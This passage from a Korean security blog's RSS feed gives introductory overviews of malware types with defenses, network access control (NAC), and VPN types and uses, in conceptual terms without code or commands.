&lt;hr data-end=&quot;261&quot; data-start=&quot;258&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;282&quot; data-start=&quot;263&quot;&gt;  2. 악성코드의 주요 유형&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;유형설명예시
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;788&quot; data-start=&quot;284&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;788&quot; data-start=&quot;324&quot;&gt;
&lt;tr data-end=&quot;372&quot; data-start=&quot;324&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;342&quot; data-start=&quot;324&quot;&gt;&lt;b&gt;바이러스(Virus)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;361&quot; data-start=&quot;342&quot; data-col-size=&quot;sm&quot;&gt;파일에 기생해 실행될 때 전파&lt;/td&gt;
&lt;td data-end=&quot;372&quot; data-start=&quot;361&quot; data-col-size=&quot;sm&quot;&gt;실행파일 감염&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;421&quot; data-start=&quot;373&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;387&quot; data-start=&quot;373&quot;&gt;&lt;b&gt;웜(Worm)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;404&quot; data-start=&quot;387&quot; data-col-size=&quot;sm&quot;&gt;스스로 네트워크 통해 전파&lt;/td&gt;
&lt;td data-end=&quot;421&quot; data-start=&quot;404&quot; data-col-size=&quot;sm&quot;&gt;이메일 첨부, SMB 웜&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;477&quot; data-start=&quot;422&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;442&quot; data-start=&quot;422&quot;&gt;&lt;b&gt;트로이목마(Trojan)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;464&quot; data-start=&quot;442&quot; data-col-size=&quot;sm&quot;&gt;정상 프로그램처럼 위장, 내부 공격&lt;/td&gt;
&lt;td data-end=&quot;477&quot; data-start=&quot;464&quot; data-col-size=&quot;sm&quot;&gt;원격제어, 백도어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;541&quot; data-start=&quot;478&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;501&quot; data-start=&quot;478&quot;&gt;&lt;b&gt;랜섬웨어(Ransomware)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;522&quot; data-start=&quot;501&quot; data-col-size=&quot;sm&quot;&gt;파일/시스템 암호화 후 금전 요구&lt;/td&gt;
&lt;td data-end=&quot;541&quot; data-start=&quot;522&quot; data-col-size=&quot;sm&quot;&gt;WannaCry, Locky&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;599&quot; data-start=&quot;542&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;563&quot; data-start=&quot;542&quot;&gt;&lt;b&gt;스파이웨어(Spyware)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;578&quot; data-start=&quot;563&quot; data-col-size=&quot;sm&quot;&gt;사용자 정보 몰래 수집&lt;/td&gt;
&lt;td data-end=&quot;599&quot; data-start=&quot;578&quot; data-col-size=&quot;sm&quot;&gt;키로거, 브라우저 히스토리 수집&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;646&quot; data-start=&quot;600&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;619&quot; data-start=&quot;600&quot;&gt;&lt;b&gt;애드웨어(Adware)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;632&quot; data-start=&quot;619&quot; data-col-size=&quot;sm&quot;&gt;광고를 강제로 표시&lt;/td&gt;
&lt;td data-end=&quot;646&quot; data-start=&quot;632&quot; data-col-size=&quot;sm&quot;&gt;팝업 광고 프로그램&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;698&quot; data-start=&quot;647&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;666&quot; data-start=&quot;647&quot;&gt;&lt;b&gt;루트킷(Rootkit)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;686&quot; data-start=&quot;666&quot; data-col-size=&quot;sm&quot;&gt;시스템 핵심에 숨으며 권한 탈취&lt;/td&gt;
&lt;td data-end=&quot;698&quot; data-start=&quot;686&quot; data-col-size=&quot;sm&quot;&gt;커널 레벨 은닉&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;741&quot; data-start=&quot;699&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;712&quot; data-start=&quot;699&quot;&gt;&lt;b&gt;봇(Bot)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;726&quot; data-start=&quot;712&quot; data-col-size=&quot;sm&quot;&gt;원격제어를 위해 감염&lt;/td&gt;
&lt;td data-end=&quot;741&quot; data-start=&quot;726&quot; data-col-size=&quot;sm&quot;&gt;DDoS 공격용 봇넷&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;788&quot; data-start=&quot;742&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;763&quot; data-start=&quot;742&quot;&gt;&lt;b&gt;키로거(Keylogger)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;775&quot; data-start=&quot;763&quot; data-col-size=&quot;sm&quot;&gt;키보드 입력 기록&lt;/td&gt;
&lt;td data-end=&quot;788&quot; data-start=&quot;775&quot; data-col-size=&quot;sm&quot;&gt;로그인 정보 탈취&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;793&quot; data-start=&quot;790&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;813&quot; data-start=&quot;795&quot;&gt;  3. 악성코드 감염 경로&lt;/h1&gt;
&lt;p data-end=&quot;926&quot; data-start=&quot;815&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ 이메일 첨부파일&lt;br /&gt;2️⃣ 악성 웹사이트 / 피싱 사이트&lt;br /&gt;3️⃣ USB, 외장 하드 등 이동식 저장매체&lt;br /&gt;4️⃣ 불법 소프트웨어, 불법 다운로드&lt;br /&gt;5️⃣ 취약한 시스템/OS 패치 미적용&lt;/p&gt;
&lt;hr data-end=&quot;931&quot; data-start=&quot;928&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;948&quot; data-start=&quot;933&quot;&gt;  4. 악성코드 피해&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1059&quot; data-start=&quot;950&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;968&quot; data-start=&quot;950&quot;&gt;시스템 성능 저하 / 다운&lt;/li&gt;
&lt;li data-end=&quot;994&quot; data-start=&quot;969&quot;&gt;파일 암호화 및 금전 요구 (랜섬웨어)&lt;/li&gt;
&lt;li data-end=&quot;1018&quot; data-start=&quot;995&quot;&gt;개인정보, 금융정보, 인증정보 탈취&lt;/li&gt;
&lt;li data-end=&quot;1043&quot; data-start=&quot;1019&quot;&gt;내부망 확산 &amp;rarr; 기업/기관 보안 사고&lt;/li&gt;
&lt;li data-end=&quot;1059&quot; data-start=&quot;1044&quot;&gt;봇넷 활용 DDoS 공격&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1064&quot; data-start=&quot;1061&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1084&quot; data-start=&quot;1066&quot;&gt;  5. 악성코드 방어 방법&lt;/h1&gt;
&lt;p data-end=&quot;1112&quot; data-start=&quot;1086&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;백신/EDR 설치 및 업데이트&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1131&quot; data-start=&quot;1113&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1131&quot; data-start=&quot;1113&quot;&gt;실시간 탐지 + 악성코드 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1156&quot; data-start=&quot;1133&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;OS/응용 프로그램 패치&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1171&quot; data-start=&quot;1157&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1171&quot; data-start=&quot;1157&quot;&gt;취약점 악용 감염 예방&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1190&quot; data-start=&quot;1173&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;메일&amp;middot;웹 보안&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1223&quot; data-start=&quot;1191&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1211&quot; data-start=&quot;1191&quot;&gt;의심 메일 첨부파일 클릭 금지&lt;/li&gt;
&lt;li data-end=&quot;1223&quot; data-start=&quot;1212&quot;&gt;피싱 URL 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1241&quot; data-start=&quot;1225&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;권한 최소화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1267&quot; data-start=&quot;1242&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1267&quot; data-start=&quot;1242&quot;&gt;관리자 권한 최소 사용 &amp;rarr; 감염 피해 축소&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1284&quot; data-start=&quot;1269&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;정기 백업&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1299&quot; data-start=&quot;1285&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1299&quot; data-start=&quot;1285&quot;&gt;랜섬웨어 대응 시 중요&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1324&quot; data-start=&quot;1301&quot; data-ke-size=&quot;size16&quot;&gt;6️⃣ &lt;b&gt;네트워크 격리 / NAC&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1343&quot; data-start=&quot;1325&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1343&quot; data-start=&quot;1325&quot;&gt;감염 장치 격리 &amp;rarr; 확산 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1348&quot; data-start=&quot;1345&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1362&quot; data-start=&quot;1350&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1463&quot; data-start=&quot;1363&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;악성코드 = 시스템이나 사용자의 동의 없이 설치되어 정보 탈취, 시스템 손상, 금전 피해 등을 유발하는 악의적 소프트웨어로, 백신, 패치, 보안 정책으로 방어해야 한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/359</guid>
      <comments>https://toastfactory.tistory.com/359#entry359comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:13:45 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] NAC란?</title>
      <link>https://toastfactory.tistory.com/358</link>
      <description>&lt;h1 data-end=&quot;82&quot; data-start=&quot;69&quot;&gt;  1. NAC란?&lt;/h1&gt;
&lt;p data-end=&quot;164&quot; data-start=&quot;84&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;NAC는 &lt;b&gt;네트워크에 접속하는 모든 장치가 보안 정책을 준수하는지 확인하고, 위반 시 접근을 제한하는 보안 기술&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;168&quot; data-start=&quot;166&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;225&quot; data-start=&quot;170&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;네트워크에 들어오려는 장치가 안전한지 검사하고, 조건에 맞는 장치만 접근을 허용하는 시스템&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;285&quot; data-start=&quot;227&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;265&quot; data-start=&quot;227&quot;&gt;단순 방화벽과 달리 &lt;b&gt;접속 전후 보안 상태를 검사&lt;/b&gt;할 수 있음&lt;/li&gt;
&lt;li data-end=&quot;285&quot; data-start=&quot;266&quot;&gt;기업 내부망 보안에서 핵심 역할&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;290&quot; data-start=&quot;287&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;310&quot; data-start=&quot;292&quot;&gt;  2. NAC의 핵심 기능&lt;/h1&gt;
&lt;p data-end=&quot;343&quot; data-start=&quot;312&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;접속 전 인증(Authentication)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;399&quot; data-start=&quot;344&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;370&quot; data-start=&quot;344&quot;&gt;장치, 사용자, 인증서 기반 로그인 확인&lt;/li&gt;
&lt;li data-end=&quot;399&quot; data-start=&quot;371&quot;&gt;예: 802.1X 인증, RADIUS 서버 연동&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;437&quot; data-start=&quot;401&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;보안 상태 검사(Posture Assessment)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;502&quot; data-start=&quot;438&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;474&quot; data-start=&quot;438&quot;&gt;장치 OS, 패치 수준, 백신 상태, 정책 준수 여부 확인&lt;/li&gt;
&lt;li data-end=&quot;502&quot; data-start=&quot;475&quot;&gt;미준수 장치는 격리 또는 제한 네트워크로 이동&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;532&quot; data-start=&quot;504&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;접속 제어(Authorization)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;589&quot; data-start=&quot;533&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;559&quot; data-start=&quot;533&quot;&gt;장치/사용자 유형에 따라 접근 권한 부여&lt;/li&gt;
&lt;li data-end=&quot;589&quot; data-start=&quot;560&quot;&gt;예: 직원 PC &amp;rarr; 전체망, 외부 장치 &amp;rarr; 제한망&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;608&quot; data-start=&quot;591&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;모니터링 및 로깅&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;647&quot; data-start=&quot;609&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;628&quot; data-start=&quot;609&quot;&gt;접속 시도, 정책 위반 기록&lt;/li&gt;
&lt;li data-end=&quot;647&quot; data-start=&quot;629&quot;&gt;보안관제(SIEM) 연계 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;664&quot; data-start=&quot;649&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;격리 및 대응&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;707&quot; data-start=&quot;665&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;693&quot; data-start=&quot;665&quot;&gt;위협 감지 시 네트워크 격리 또는 접근 차단&lt;/li&gt;
&lt;li data-end=&quot;707&quot; data-start=&quot;694&quot;&gt;악성 장치 확산 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;712&quot; data-start=&quot;709&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;733&quot; data-start=&quot;714&quot;&gt;  3. NAC 적용 시나리오&lt;/h1&gt;
&lt;p data-end=&quot;754&quot; data-start=&quot;735&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;사내 직원 PC 관리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;787&quot; data-start=&quot;755&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;787&quot; data-start=&quot;755&quot;&gt;OS 패치, 백신 설치 여부 확인 후 내부망 접근 허용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;827&quot; data-start=&quot;789&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;BYOD(Bring Your Own Device) 관리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;883&quot; data-start=&quot;828&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;883&quot; data-start=&quot;828&quot;&gt;개인 스마트폰/노트북이 회사 네트워크 접속 가능하지만, 정책 미준수 시 게스트 VLAN으로 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;908&quot; data-start=&quot;885&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;게스트/외부 장치 접속 관리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;935&quot; data-start=&quot;909&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;935&quot; data-start=&quot;909&quot;&gt;방문자 Wi-Fi 접속 시 최소 권한만 허용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;950&quot; data-start=&quot;937&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;위협 대응&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;987&quot; data-start=&quot;951&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;987&quot; data-start=&quot;951&quot;&gt;악성코드 감염 장치가 접속 시 자동 격리 &amp;rarr; 내부망 확산 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;992&quot; data-start=&quot;989&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1008&quot; data-start=&quot;994&quot;&gt;  4. NAC 종류&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분특징
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1191&quot; data-start=&quot;1010&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;1191&quot; data-start=&quot;1036&quot;&gt;
&lt;tr data-end=&quot;1091&quot; data-start=&quot;1036&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1056&quot; data-start=&quot;1036&quot;&gt;&lt;b&gt;802.1X 기반 NAC&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;1091&quot; data-start=&quot;1056&quot; data-col-size=&quot;sm&quot;&gt;유선/무선 LAN 접속 전 인증, 스위치/무선 AP 연동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1141&quot; data-start=&quot;1092&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1111&quot; data-start=&quot;1092&quot;&gt;&lt;b&gt;Agent 기반 NAC&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;1141&quot; data-start=&quot;1111&quot; data-col-size=&quot;sm&quot;&gt;장치에 NAC 에이전트 설치 &amp;rarr; 보안 상태 검사&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1191&quot; data-start=&quot;1142&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1162&quot; data-start=&quot;1142&quot;&gt;&lt;b&gt;Agentless NAC&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;1191&quot; data-start=&quot;1162&quot; data-col-size=&quot;sm&quot;&gt;설치 없이 네트워크 트래픽 분석으로 장치 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1196&quot; data-start=&quot;1193&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1212&quot; data-start=&quot;1198&quot;&gt;  5. NAC 장점&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1309&quot; data-start=&quot;1214&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1227&quot; data-start=&quot;1214&quot;&gt;내부망 보안 강화&lt;/li&gt;
&lt;li data-end=&quot;1246&quot; data-start=&quot;1228&quot;&gt;정책 위반 장치 자동 격리&lt;/li&gt;
&lt;li data-end=&quot;1268&quot; data-start=&quot;1247&quot;&gt;BYOD/IoT 환경 안전 관리&lt;/li&gt;
&lt;li data-end=&quot;1295&quot; data-start=&quot;1269&quot;&gt;보안 관제 연계 가능 (SIEM, 로그)&lt;/li&gt;
&lt;li data-end=&quot;1309&quot; data-start=&quot;1296&quot;&gt;악성 장치 확산 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1314&quot; data-start=&quot;1311&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1328&quot; data-start=&quot;1316&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1407&quot; data-start=&quot;1329&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;NAC = 네트워크에 접속하는 모든 장치가 보안 정책을 준수하는지 검사하고, 조건을 충족한 장치만 접근을 허용하거나 제한하는 기술&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/358</guid>
      <comments>https://toastfactory.tistory.com/358#entry358comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:11:54 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] VPN이란?</title>
      <link>https://toastfactory.tistory.com/357</link>
      <description>&lt;h1 data-end=&quot;80&quot; data-start=&quot;66&quot;&gt;  1. VPN이란?&lt;/h1&gt;
&lt;p data-end=&quot;152&quot; data-start=&quot;82&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;VPN은 &lt;b&gt;공용 네트워크(인터넷)를 통해 사설망처럼 안전하게 데이터를 주고받도록 연결하는 기술&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;156&quot; data-start=&quot;154&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;206&quot; data-start=&quot;158&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;인터넷을 통해 사설망처럼 안전하게 통신할 수 있도록 암호화 터널을 만드는 기술&amp;rdquo;&lt;/p&gt;
&lt;hr data-end=&quot;211&quot; data-start=&quot;208&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;231&quot; data-start=&quot;213&quot;&gt;  2. VPN의 핵심 기능&lt;/h1&gt;
&lt;p data-end=&quot;248&quot; data-start=&quot;233&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;데이터 암호화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;324&quot; data-start=&quot;249&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;290&quot; data-start=&quot;249&quot;&gt;인터넷에서 전송되는 데이터가 외부에서 보거나 수정되지 않도록 암호화&lt;/li&gt;
&lt;li data-end=&quot;324&quot; data-start=&quot;291&quot;&gt;예: HTTPS보다 더 강력하게 전체 트래픽 암호화 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;348&quot; data-start=&quot;326&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;IP 주소 숨김 / 익명화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;398&quot; data-start=&quot;349&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;371&quot; data-start=&quot;349&quot;&gt;외부에서 실제 IP를 알 수 없음&lt;/li&gt;
&lt;li data-end=&quot;398&quot; data-start=&quot;372&quot;&gt;위치 추적 방지, 사내망 접근 시 보안 강화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;418&quot; data-start=&quot;400&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;원격지 사설망 접근&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;449&quot; data-start=&quot;419&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;449&quot; data-start=&quot;419&quot;&gt;재택근무, 출장 등 외부에서 회사 내부망 접속 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;454&quot; data-start=&quot;451&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;470&quot; data-start=&quot;456&quot;&gt;  3. VPN 종류&lt;/h1&gt;
&lt;h3 data-end=&quot;508&quot; data-start=&quot;472&quot; data-ke-size=&quot;size23&quot;&gt;1️⃣ 원격 접속 VPN(Remote Access VPN)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;556&quot; data-start=&quot;509&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;531&quot; data-start=&quot;509&quot;&gt;개인 사용자 &amp;rarr; 회사/사설망 접속&lt;/li&gt;
&lt;li data-end=&quot;556&quot; data-start=&quot;532&quot;&gt;예: 직원이 집에서 회사 내부 서버 접속&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;593&quot; data-start=&quot;558&quot; data-ke-size=&quot;size23&quot;&gt;2️⃣ 사이트 간 VPN(Site-to-Site VPN)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;652&quot; data-start=&quot;594&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;613&quot; data-start=&quot;594&quot;&gt;지사 &amp;harr; 본사 네트워크 연결&lt;/li&gt;
&lt;li data-end=&quot;652&quot; data-start=&quot;614&quot;&gt;예: A 지사와 B 지사가 공용 인터넷 통해 안전하게 내부망 연결&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;669&quot; data-start=&quot;654&quot; data-ke-size=&quot;size23&quot;&gt;3️⃣ SSL VPN&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;715&quot; data-start=&quot;670&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;699&quot; data-start=&quot;670&quot;&gt;브라우저 기반, HTTPS를 통해 VPN 연결&lt;/li&gt;
&lt;li data-end=&quot;715&quot; data-start=&quot;700&quot;&gt;설치 없이 웹 접속 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;734&quot; data-start=&quot;717&quot; data-ke-size=&quot;size23&quot;&gt;4️⃣ IPsec VPN&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;777&quot; data-start=&quot;735&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;762&quot; data-start=&quot;735&quot;&gt;네트워크 계층(L3)에서 암호화 터널 생성&lt;/li&gt;
&lt;li data-end=&quot;777&quot; data-start=&quot;763&quot;&gt;장비 간 연결 시 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;782&quot; data-start=&quot;779&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;801&quot; data-start=&quot;784&quot;&gt;  4. VPN 활용 사례&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;922&quot; data-start=&quot;803&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;829&quot; data-start=&quot;803&quot;&gt;&lt;b&gt;원격근무 보안&lt;/b&gt;: 회사 내부망 접속&lt;/li&gt;
&lt;li data-end=&quot;867&quot; data-start=&quot;830&quot;&gt;&lt;b&gt;공용 Wi-Fi 보호&lt;/b&gt;: 카페, 공항에서 개인정보 보호&lt;/li&gt;
&lt;li data-end=&quot;895&quot; data-start=&quot;868&quot;&gt;&lt;b&gt;지역 제한 우회&lt;/b&gt;: 해외 콘텐츠 접근&lt;/li&gt;
